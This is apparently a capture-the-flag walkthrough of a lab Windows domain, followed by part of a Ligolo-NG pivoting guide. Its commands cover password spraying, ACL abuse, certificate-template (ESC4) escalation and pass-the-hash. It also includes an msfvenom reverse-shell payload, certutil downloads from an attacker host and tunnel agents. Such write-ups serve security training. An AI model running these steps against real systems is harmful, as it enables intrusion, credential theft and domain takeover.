The extracted ticket is cracked using hashcat in mode 18200 (Kerberos 5 AS-REP etype 23) with rockyou.txt:

iamwin@Jean:~$ hashcat -a 0 -m 18200 l.clark.hashes /usr/share/kali-wordlists/rockyou.txt

The plaintext password for l.clark is recovered:

l.clark : WAT?watismypass!

Password Spraying & NTLM Restriction

To test for password reuse across the domain, a password spraying attack is performed against all known valid users:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc smb $IP -u users_validos.txt -p 'WAT?watismypass!' --continue-on-success 
SMB         10.129.232.99   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\d.anderson:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass! STATUS_LOGON_FAILURE 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass! STATUS_LOGON_FAILURE 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass! STATUS_LOGON_FAILURE 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass! STATUS_ACCOUNT_RESTRICTION 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass! STATUS_LOGON_FAILURE 
SMB         10.129.232.99   445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass! 

The response STATUS_ACCOUNT_RESTRICTION indicates that NTLM authentication is restricted for certain users (e.g., membership in Protected Users or specific local security policies), mandating the use of Kerberos authentication.

Repeating the spray with Kerberos authentication enforced (-k):

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc smb $IP -u users_validos.txt -p 'WAT?watismypass!' --continue-on-success -k
SMB         10.129.232.99   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.232.99   445    DC01             [+] infiltrator.htb\d.anderson:WAT?watismypass! 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\o.martinez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\k.turner:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\a.walker:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\m.harris:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.232.99   445    DC01             [-] infiltrator.htb\e.rodriguez:WAT?watismypass! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.232.99   445    DC01             [+] infiltrator.htb\l.clark:WAT?watismypass! 

The password is confirmed valid for d.anderson.

4. Active Directory Enumeration with RustHound

A Ticket Granting Ticket (TGT) is requested for d.anderson using impacket-getTGT:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ impacket-getTGT $DOMAIN/d.anderson:'WAT?watismypass!'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in d.anderson.ccache

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ export KRB5CCNAME=d.anderson.ccache 

A dedicated Kerberos configuration file is generated using NetExec to prevent realm resolution issues:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc smb $IP -u l.clark -p 'WAT?watismypass!' --generate-krb5-file /home/iamwin/Downloads/krb5_infiltrator
SMB         10.129.232.99   445    DC01             [+] krb5 conf saved to: /home/iamwin/Downloads/krb5_infiltrator

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ export KRB5_CONFIG=/home/iamwin/Downloads/krb5_infiltrator

Domain information and object ACLs are enumerated using rusthound-ce:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ rusthound-ce -d $DOMAIN -u 'd.anderson' -k -f $FQDN -i $IP -c All -z

[2026-09-04T20:31:33Z INFO  rusthound_ce::ldap] Connected to INFILTRATOR.HTB Active Directory!
[2026-09-04T20:31:33Z INFO  rusthound_ce::ldap] Starting data collection...
[2026-09-04T20:31:50Z INFO  rusthound_ce::json::maker::common] 14 users parsed!
[2026-09-04T20:31:50Z INFO  rusthound_ce::json::maker::common] 66 groups parsed!
[2026-09-04T20:31:50Z INFO  rusthound_ce::json::maker::common] .//20260904163150_infiltrator-htb_rusthound-ce.zip created!

Importing the data into BloodHound highlights an attack path leading to M.HARRIS:

1. d.anderson possesses GenericAll over the Organizational Unit OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB.
2. The user e.rodriguez resides inside this OU.
3. e.rodriguez has AddSelf rights on the CHIEFS MARKETING group.
4. The CHIEFS MARKETING group has ForceChangePassword permissions over m.harris.
5. m.harris belongs to the Remote Management Users group (allowing WinRM access on DC01).

5. ACL Abuse & Domain Controller Initial Shell

Step 1: Taking Ownership and GenericAll over MARKETING DIGITAL OU

With GenericAll on the OU, bloodyAD is executed to take ownership and grant explicit full control:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ bloodyAD --host $FQDN -d $DOMAIN -k set owner 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'D.ANDERSON'         
[+] Old owner S-1-5-21-2606098828-3734741516-3625406802-512 is now replaced by D.ANDERSON on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ bloodyAD --host $FQDN -d $DOMAIN -k add genericAll 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'D.ANDERSON'
[+] D.ANDERSON has now GenericAll on OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB

The TGT is refreshed to ensure the new security rights are reflected:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ impacket-getTGT $DOMAIN/d.anderson:'WAT?watismypass!'
[*] Saving ticket in d.anderson.ccache
┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ export KRB5CCNAME=d.anderson.ccache

Step 2: Password Reset for E.RODRIGUEZ

With control over the OU established, the password for E.RODRIGUEZ is reset:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ bloodyAD --host $FQDN -d $DOMAIN -k set password 'E.RODRIGUEZ' 'Iamwin123!'                               
[+] Password changed successfully!

A TGT is requested for e.rodriguez:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ impacket-getTGT $DOMAIN/e.rodriguez:'Iamwin123!'
[*] Saving ticket in e.rodriguez.ccache
┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ export KRB5CCNAME=e.rodriguez.ccache 

Step 3: Abusing AddSelf on CHIEFS MARKETING Group

Using the TGT of e.rodriguez, the user adds itself to CHIEFS MARKETING:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ bloodyAD --host $FQDN -d $DOMAIN -k add groupMember 'CHIEFS MARKETING' 'E.RODRIGUEZ'                         
[+] E.RODRIGUEZ added to CHIEFS MARKETING

The TGT is requested again to update group memberships in the Kerberos ticket:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ impacket-getTGT $DOMAIN/e.rodriguez:'Iamwin123!'
[*] Saving ticket in e.rodriguez.ccache
┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ export KRB5CCNAME=e.rodriguez.ccache

Step 4: Abusing ForceChangePassword on M.HARRIS

As a member of CHIEFS MARKETING, the password for M.HARRIS is reset:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ bloodyAD --host $FQDN -d $DOMAIN -k set password 'M.HARRIS' 'Iamwin1234!'
[+] Password changed successfully!

A TGT is obtained for m.harris:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ impacket-getTGT $DOMAIN/m.harris:'Iamwin1234!'
[*] Saving ticket in m.harris.ccache
┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ export KRB5CCNAME=m.harris.ccache

Step 5: WinRM Shell & User Flag (user.txt)

Since m.harris is a member of Remote Management Users, an interactive WinRM session is established via evil-winrm:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ evil-winrm -i DC01.infiltrator.htb -r infiltrator.htb

*Evil-WinRM* PS C:\Users\M.harris\Documents> whoami
infiltrator\m.harris

*Evil-WinRM* PS C:\Users\M.harris\Documents> type C:\Users\M.harris\Desktop\user.txt
0e37c6698b4b********************

6. Internal Enumeration: Output Messenger & Pivoting

Inspecting the target filesystem under C:\Program Files reveals installations of Output Messenger:

*Evil-WinRM* PS C:\Program Files> dir

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/23/2024   5:06 AM                Output Messenger
d-----         9/4/2026  12:31 PM                Output Messenger Server

Querying local listening ports via netstat confirms multiple internal services bound to Output Messenger:

*Evil-WinRM* PS C:\Program Files> netstat -ano | findstr "LISTENING"

  TCP    0.0.0.0:14118          0.0.0.0:0              LISTENING       7368
  TCP    0.0.0.0:14119          0.0.0.0:0              LISTENING       7368
  TCP    0.0.0.0:14121          0.0.0.0:0              LISTENING       7368
  TCP    0.0.0.0:14122          0.0.0.0:0              LISTENING       7368
  TCP    0.0.0.0:14123          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:14125          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:14126          0.0.0.0:0              LISTENING       3716
  TCP    0.0.0.0:14127          0.0.0.0:0              LISTENING       7368
  TCP    0.0.0.0:14128          0.0.0.0:0              LISTENING       7368
  TCP    0.0.0.0:14130          0.0.0.0:0              LISTENING       7368
  TCP    0.0.0.0:14406          0.0.0.0:0              LISTENING       7228

winPEASx64.exe is transferred and run to confirm the active internal service configuration:

*Evil-WinRM* PS C:\Temp> certutil -f -urlcache http://10.10.15.244:90/winPEASx64.exe winPEASx64.exe

Tunneling with Ligolo-NG

To access the target’s internal services directly from the attacking workstation, a Ligolo-NG tunnel is established:

*Evil-WinRM* PS C:\Temp> certutil -f -urlcache http://10.10.15.244:90/agent.exe agent.exe
*Evil-WinRM* PS C:\Temp> .\agent.exe -connect 10.10.15.244:11601 -ignore-cert

On the attacking host, the proxy is launched and the route configured:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ sudo ligoprox -selfcert

ligolo-ng » session
? Specify a session : 1 - INFILTRATOR\M.harris@dc01 - 10.129.232.99:58597 - a2dead88853b
[Agent : INFILTRATOR\M.harris@dc01] » start

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ sudo ip route add 240.0.0.1/32 dev ligolo

Navigating to http://240.0.0.1:14125 presents the Output Messenger web portal:

Extracting LDAP Descriptions

User account descriptions in Active Directory are retrieved via LDAP:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc ldap $IP --use-kcache -M get-desc-users

LDAP        10.129.232.99   389    DC01             [+] INFILTRATOR.HTB\e.rodriguez from ccache 
GET-DESC... 10.129.232.99   389    DC01             [+] Found following users: 
GET-DESC... 10.129.232.99   389    DC01             User: Administrator description: Built-in account for administering the computer/domain
GET-DESC... 10.129.232.99   389    DC01             User: Guest description: Built-in account for guest access to the computer/domain
GET-DESC... 10.129.232.99   389    DC01             User: krbtgt description: Key Distribution Center Service Account
GET-DESC... 10.129.232.99   389    DC01             User: K.turner description: MessengerApp@Pass!
GET-DESC... 10.129.232.99   389    DC01             User: infiltrator_svc$ description: dc01.infiltrator.htb

Credentials for k.turner are uncovered:

k.turner : MessengerApp@Pass!

Logging into Output Messenger as k.turner:

The official Output Messenger desktop client is installed to interact with full features:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ wget https://www.outputmessenger.com/OutputMessenger_amd64.deb -O OutputMessenger_amd64.deb
┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ sudo dpkg -i OutputMessenger_amd64.deb

Reviewing the My Wall / Notices section shows an internal advisory:

The notices expose development credentials:

Discovered Password: D3v3l0p3r_Pass@1337!

Validating this password against domain accounts via Kerberos:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc smb $IP -u users_validos.txt -p 'D3v3l0p3r_Pass@1337!' --continue-on-success -k 
SMB         10.129.232.99   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.232.99   445    DC01             [+] infiltrator.htb\m.harris:D3v3l0p3r_Pass@1337! 

7. Reverse Engineering UserExplorer.exe & AES Decryption

Logging into Output Messenger as m.harris reveals a direct conversation with Admin, containing an attached binary named UserExplorer.exe:

When attempting to download the attachment from the Linux client, the transfer may fail or result in a 0-byte file. To resolve this, socat is used to expose the internal ports forwarded through the Ligolo-NG tunnel to an external interface (192.168.59.171), allowing an alternative Windows client machine to connect to the Output Messenger server:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ for port in {14121..14126}; do socat TCP-LISTEN:$port,bind=192.168.59.171,fork,reuseaddr TCP:240.0.0.1:$port & done

By connecting with the official Windows client from the secondary Windows machine, the file transfer succeeds and the binary is downloaded:

https://www.outputmessenger.com/lan-messenger-downloads/

Decompiling the binary in dnSpy reveals encrypted credential strings:

Inspecting the Decryptor class exposes the encryption scheme:

• Algorithm: AES-CBC.
• Static Key: b14ca5898a4e4133bbce2ea2315a1916.
• Initialization Vector (IV): Static array of 16 zero bytes (\x00 * 16).
• Padding: Standard PKCS7.

A Python script (decrypt_v2.py) is written to replicate the decryption logic:

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

def get_secret(payload: str) -> str:
    key = b"b14ca5898a4e4133bbce2ea2315a1916"
    data = base64.b64decode(payload)
    dec = AES.new(key, AES.MODE_CBC, b"\x00" * 16).decrypt(data)
    return unpad(dec, AES.block_size).decode()

if __name__ == "__main__":
    print(get_secret(sys.argv[1]))

Executing the script against the encrypted payload:

┌──(.venv)─(iamwin㉿0xWin)-[~/Downloads]
└─$ python3 decrypt_v2.py TGlu22oo8GIHRkJBBpZ1nQ/x6l36MVj3Ukv4Hw86qGE=
SKqwQk81tgq+C3V7pzc1SA==

┌──(.venv)─(iamwin㉿0xWin)-[~/Downloads]
└─$ python3 decrypt_v2.py SKqwQk81tgq+C3V7pzc1SA==                    
WinRm@$svc^!^P

The plaintext service account credentials are recovered:

winrm_svc : WinRm@$svc^!^P

8. Output Messenger REST API Abuse & Calendar RCE

Logging into Output Messenger as winrm_svc:

In the user’s personal notes, an administrative API Key is retrieved:

API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG

The official API documentation is consulted:

Chatroom Enumeration & roomkey Extraction

Endpoints are queried using the API Key:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ curl -s http://240.0.0.1:14125/api/chatrooms -H 'Accept: application/json' -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' | jq

{
  "rows": [
    {
      "room": "Chiefs_Marketing_chat",
      "roomusers": "O.martinez|0,A.walker|0"
    },
    {
      "room": "Dev_Chat",
      "roomusers": "Admin|0,M.harris|0,K.turner|0,Developer_01|0,Developer_02|0,Developer_03|0"
    },
    {
      "room": "General_chat",
      "roomusers": "Admin|0,D.anderson|0,L.clark|0,M.harris|0,O.martinez|0,A.walker|0,K.turner|0,E.rodriguez|0,winrm_svc|0"
    }
  ],
  "success": true
}

Reading message history from Chiefs_Marketing_chat requires its internal roomkey:

Connecting via evil-winrm as winrm_svc (using its TGT), the local database files under C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA are downloaded:

*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OM.db3
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OT.db3

Querying the SQLite database OM.db3:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ sqlite3 OM.db3 "SELECT * FROM om_chatroom;"

1|General_chat|20240219160702@conference.com|General_chat||20240219160702@conference.com|1|2024-02-20 01:07:02.909|0|0||0|0|1||
2|Chiefs_Marketing_chat|20240220014618@conference.com|Chiefs_Marketing_chat||20240220014618@conference.com|1|2024-02-20 10:46:18.858|0|0||0|0|1||

The roomkey for the private chat is: 20240220014618@conference.com.

Chat Logs Extraction

A request is sent to /api/chatrooms/logs:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ curl -s 'http://240.0.0.1:14125/api/chatrooms/logs?roomkey=20240220014618@conference.com&fromdate=2018/07/24&todate=2025/07/25' \
  -H 'API-KEY: 558R501T5I6024Y8JV3B7KOUN1A518GG' | jq .logs -r

Inside the chat history, O.martinez discloses credentials:

A.walker: "Sounds busy! By the way, I need to check something in your account. Could you share your username password?"
O.martinez: "sure!"
O.martinez: "O.martinez : m@rtinez@1996!"

O.martinez : m@rtinez@1996!

Remote Code Execution via Calendar Event

Logging in as O.martinez in the Output Messenger client:

The event scheduling functionality includes a Run Application action:

A reverse shell binary is crafted using msfvenom:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.244 LPORT=443 -f exe -o revwin.exe 

The executable is placed on the target machine at C:\Temp\revwin.exe:

The calendar event is created to trigger C:\Temp\revwin.exe:

A listener is started on the attacking system:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ rlwrap -cAr nc -nlvp 443

When the scheduled time is reached, the client triggers the binary and returns a reverse shell as o.martinez:

connect to [10.10.15.244] from (UNKNOWN) [10.129.232.99] 53056
Microsoft Windows [Version 10.0.17763.6189]

C:\Windows\system32>whoami
infiltrator\o.martinez

9. Network Forensic Analysis (PCAP) & BitLocker Recovery

Under the profile directory AppData\Roaming\Output Messenger\FAAA\Received Files\203301, a network packet capture is discovered:

C:\Users\O.martinez\AppData\Roaming\Output Messenger\FAAA\Received Files\203301> dir

02/23/2024  05:10 PM           292,244 network_capture_2024.pcapng

The file is transferred over SMB to the attacker host and inspected with Wireshark:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ wireshark network_capture_2024.pcapng &

HTTP objects transferred in the traffic are exported (File > Export Objects > HTTP):

The archive BitLocker-backup(1).7z is recovered.

Cracking the 7z Archive with John the Ripper

The archive is password-protected. The hash is extracted with 7z2john and cracked using john:

┌──(iamwin㉿0xWin)-[~/Downloads/exprts]
└─$ 7z2john 'BitLocker-backup(1).7z' > bithash.txt
┌──(iamwin㉿0xWin)-[~/Downloads/exprts]
└─$ john bithash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 256/256 AVX2 8x AES])
zipper           (BitLocker-backup(1).7z)     
Session completed.

Decompressing the archive with password zipper exposes an HTML document containing BitLocker recovery details:

The numerical BitLocker Recovery Key is obtained:

650540-413611-429792-307362-466070-397617-148445-087043

Additionally, inspecting the HTTP streams in the capture indicates that o.martinez updated her domain password to M@rtinez_P@ssw0rd!. RDP authentication is verified:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc rdp $IP -u O.martinez -p 'M@rtinez_P@ssw0rd!' -k
RDP         10.129.232.99   3389   DC01             [+] infiltrator.htb\O.martinez:M@rtinez_P@ssw0rd! (Pwn3d!)

10. BitLocker Volume Unlock & NTDS.dit Backup Extraction

An RDP session is initiated using xfreerdp, as the BloodHound graph confirms that the user is a member of the Remote Desktop Users group:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ xfreerdp /v:10.129.232.99 /u:O.martinez /p:'M@rtinez_P@ssw0rd!' /d:infiltrator.htb /cert:ignore /dynamic-resolution

Drive E: is locked with BitLocker. Selecting Enter Recovery Key allows unlocking it with the recovered key:

Inside the unlocked drive at E:\Windows Server 2012 R2 - Backups\Users\Administrator\Documents, a backup archive is located:

Backup_Credentials.7z is copied to C:\Temp and downloaded via the WinRM session:

*Evil-WinRM* PS C:\Temp> download Backup_Credentials.7z

Extracting the backup archive yields ntds.dit along with the registry hives SYSTEM and SECURITY:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ 7z x Backup_Credentials.7z

Active Directory/ntds.dit
registry/SECURITY
registry/SYSTEM

Converting NTDS.dit to SQLite with ntdsdotsqlite

Since the Administrator hashes from the historical backup are no longer valid, ntdsdotsqlite is used to convert the database into SQLite format for detailed inspection:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ ntdsdotsqlite --system registry/SYSTEM -o ntds.sqlite Active\ Directory/ntds.dit

Querying user descriptions:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ sqlite3 ntds.sqlite "SELECT upn, description FROM user_accounts WHERE description IS NOT NULL;"

winrm_svc@infiltrator.htb|User Security and Management Specialist
lan_managment@infiltrator.htb|l@n_M@an!1331
harris@infiltrator.htb|Head of Development Department

Credentials for lan_managment are discovered:

lan_managment : l@n_M@an!1331

SMB access is confirmed:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc smb $IP -u lan_managment -p 'l@n_M@an!1331' -k
SMB         10.129.232.99   445    DC01             [+] infiltrator.htb\lan_managment:l@n_M@an!1331 

11. Privilege Escalation: GMSA & ADCS ESC4 Exploitation

BloodHound indicates that lan_managment has ReadGMSAPassword permissions over the Group Managed Service Account infiltrator_svc$:

The NTLM hash of the GMSA account is extracted via NetExec:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc ldap $IP -u lan_managment -p 'l@n_M@an!1331' --gmsa

LDAP        10.129.232.99   389    DC01             [*] Getting GMSA Passwords
LDAP        10.129.232.99   389    DC01             Account: infiltrator_svc$     NTLM: cd649c25a19e77094538ed93d1c86f66     PrincipalsAllowedToReadPassword: lan_managment

A TGT is requested for infiltrator_svc$:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ impacket-getTGT $DOMAIN/'infiltrator_svc$' -hashes :cd649c25a19e77094538ed93d1c86f66
[*] Saving ticket in infiltrator_svc$.ccache

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ export KRB5CCNAME=infiltrator_svc\$.ccache

ADCS Template Enumeration & ESC4 Detection

BloodHound shows that infiltrator_svc$ has write permissions over the certificate template Infiltrator_Template:

certipy is executed to search for Certificate Services misconfigurations:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ certipy find -k -target $FQDN -dc-ip $IP -vulnerable

Certificate Templates
  0
    Template Name                       : Infiltrator_Template
    Display Name                        : Infiltrator_Template
    Certificate Authorities             : infiltrator-DC01-CA
    Enabled                             : True
    [!] Vulnerabilities
      ESC4                              : User has dangerous permissions.

The ESC4 vulnerability occurs when an unprivileged principal has write permissions (WriteOwner, WriteDacl, or WriteProperty) over a certificate template. This allows modifying the template configuration to transform it into an ESC1 exploitable template.

Modifying the Certificate Template (ESC4 -> ESC1)

certipy is used to overwrite the template configuration of Infiltrator_Template:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ certipy template -k \
  -u 'infiltrator_svc$@infiltrator.htb' \
  -target dc01.infiltrator.htb -dc-ip 10.129.232.99 \
  -template 'Infiltrator_Template' \
  -write-default-configuration 'S-1-5-21-2606098828-3734741516-3625406802-3102' -force

Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Saving current configuration to 'Infiltrator_Template.json'
[*] Updating certificate template 'Infiltrator_Template'
[*] Successfully updated 'Infiltrator_Template'

Requesting Certificate for Administrator & PKINIT Authentication

With the template altered to permit client authentication and arbitrary Subject Alternative Names (SAN), a certificate is requested on behalf of administrator@infiltrator.htb:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ certipy req -k \
  -u 'infiltrator_svc$@infiltrator.htb' \
  -target dc01.infiltrator.htb -dc-ip 10.129.232.99 \
  -template 'Infiltrator_Template' \
  -upn 'administrator@infiltrator.htb' \
  -ca 'INFILTRATOR-DC01-CA'

[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@infiltrator.htb'
[*] Saving certificate and private key to 'administrator.pfx'

The generated certificate (administrator.pfx) is used to authenticate via PKINIT and retrieve the current NT hash for Administrator:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ certipy auth -pfx administrator.pfx -dc-ip 10.129.232.99

[*] Certificate identities:
[*]     SAN UPN: 'administrator@infiltrator.htb'
[*] Using principal: 'administrator@infiltrator.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1

Administrator NTLM Hash: 1356f502d2764368302ff0369b1121a1

Administrative Execution & Flag root.txt

Administrator authentication is verified via Pass-The-Hash with NetExec, retrieving the root.txt flag:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ nxc smb $IP -u administrator -H '1356f502d2764368302ff0369b1121a1' -x "type C:\Users\Administrator\Desktop\root.txt" 
SMB         10.129.232.99   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:infiltrator.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB         10.129.232.99   445    DC01             [+] infiltrator.htb\administrator:1356f502d2764368302ff0369b1121a1 (Pwn3d!)
SMB         10.129.232.99   445    DC01             [+] Executed command via wmiexec
SMB         10.129.232.99   445    DC01             ebfc698a56a04508fd32f45ba3407b28

An interactive shell can also be established using evil-winrm:

┌──(iamwin㉿0xWin)-[~/Downloads]
└─$ evil-winrm -i dc01.infiltrator.htb -u 'Administrator' -H '1356f502d2764368302ff0369b1121a1'

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
ebfc698a56a04508fd32f45ba3407b28

“Equipped with his five senses, man explores the universe around him and calls the adventure Science.”
— Edwin Powell Hubble

This guide covers the pivoting process using Ligolo-NG, with a focus on assessment environments such as the CPTS (Certified Penetration Testing Specialist). The objective is to provide a clear, structured technical reference that enables the reader to understand and replicate the configuration of multiple pivot hops across segmented networks.

The infrastructure used throughout this guide has the following topology:

Setting Up the Ligolo-NG Proxy

The first step is to start the Ligolo-NG proxy component on the attacker machine. This requires having the proxy and agent binaries available beforehand. Both can be obtained from the official repository:

https://github.com/Nicocha30/ligolo-ng

Ligolo-NG provides two agent variants: one for Linux systems and one for Windows systems. Both are functionally equivalent and share the same command-line syntax, so the procedures described in this guide apply to both operating systems.

To start the proxy using a self-signed certificate, run the following command:

┌──(iamwin㉿iamwin)-[~/Downloads]
└─$ sudo ./proxy -selfcert

By default, Ligolo-NG listens on port 11601. If an alternative port is required, it can be specified using the -laddr parameter:

┌──(iamwin㉿iamwin)-[~/Downloads]
└─$ sudo ligolo-ng -selfcert -laddr 0.0.0.0:1234

Important note: It is strongly recommended to run the proxy with administrator (root) privileges, as Ligolo-NG needs to create virtual network interfaces during the routing process — an operation that requires elevated permissions.

First Pivot

At this point, it is assumed that the initial foothold machine (10.10.10.2) has been compromised with root privileges. After enumerating the system’s network interfaces, an internal network (20.20.20.0/24) is identified that cannot be reached directly from the attacker machine.

To establish connectivity with that network, the Ligolo-NG agent is transferred to the compromised machine and executed pointing to the proxy:

# Linux syntax
./agent -connect <YOUR_REACHABLE_IP:PROXY_PORT> -ignore-cert

# Windows syntax
.\agent.exe -connect <YOUR_REACHABLE_IP:PROXY_PORT> -ignore-cert

./agent -connect 192.168.59.189:11601 -ignore-cert

Once the agent is executed, the compromised machine establishes a connection to the proxy and is registered as an active session.

Autoroute

Ligolo-NG includes the autoroute feature, which automates the creation of the virtual network interface and the routing configuration toward the target network — all from within the proxy console. The procedure is as follows:

• session: Select the session corresponding to the connected agent.
• autoroute: Launch the route configuration wizard. Select the target network (20.20.20.2/24) and confirm.
• Create a new interface or use an existing one?: Select Create a new interface.
• Enter interface name (leave empty for random name):: Assign a descriptive name to the interface, e.g., pivot01.
• Start the tunnel?: Confirm with Yes to initiate the tunnel.

ligolo-ng » session
? Specify a session : 1 - root@ae83a3c663f6 - 10.10.10.2:34256 - 82be90e2a5e0
[Agent : root@ae83a3c663f6] » autoroute
? Select routes to add: 20.20.20.2/24
? Create a new interface or use an existing one? Create a new interface
? Enter interface name (leave empty for random name): pivot01
INFO[0851] Using custom interface name: pivot01         
INFO[0851] Interface pivot01 configured (will be created on tunnel start) 
INFO[0851] Creating routes for pivot01...               
? Start the tunnel? Yes
INFO[0853] Starting tunnel to root@ae83a3c663f6 (82be90e2a5e0) 
[Agent : root@ae83a3c663f6] »  

To verify that the interface was successfully created on the attacker machine:

# Linux
┌──(iamwin㉿iamwin)-[~/Downloads]
└─$ ip a

18: pivot01: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 500
    link/none 
    inet6 fe80::de7a:f286:17f7:c7a5/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

Connectivity to the internal network can be validated using a ping sweep:

┌──(iamwin㉿iamwin)-[~/Downloads]
└─$ fping -a -g 20.20.20.0/24 2>/dev/null

20.20.20.2
20.20.20.3

Routing is functioning correctly. However, in deep pivoting scenarios, additional questions arise: what happens if the next compromised machine also exposes internal networks? How is the agent transferred to deeper network segments? How are reverse shells received from hosts located in internal networks? To address these use cases, Ligolo-NG provides the Listeners functionality.

Listeners

Listeners allow the agent to act as a traffic relay: they expose a port on the compromised machine and transparently forward incoming connections to a local port on the attacker machine through the established tunnel.

The most common use cases are:

• Forwarding network protocols (SSH, SMB, etc.)
• Receiving reverse shells
• Transferring files

As a standard practice, it is recommended to create at least three listeners per pivot:

1. Listener 1 (port 11601): To connect the Ligolo-NG agent from the next hop.
2. Listener 2 (port 4444): To receive reverse shells.
3. Listener 3 (port 8080): To transfer files via an HTTP server.

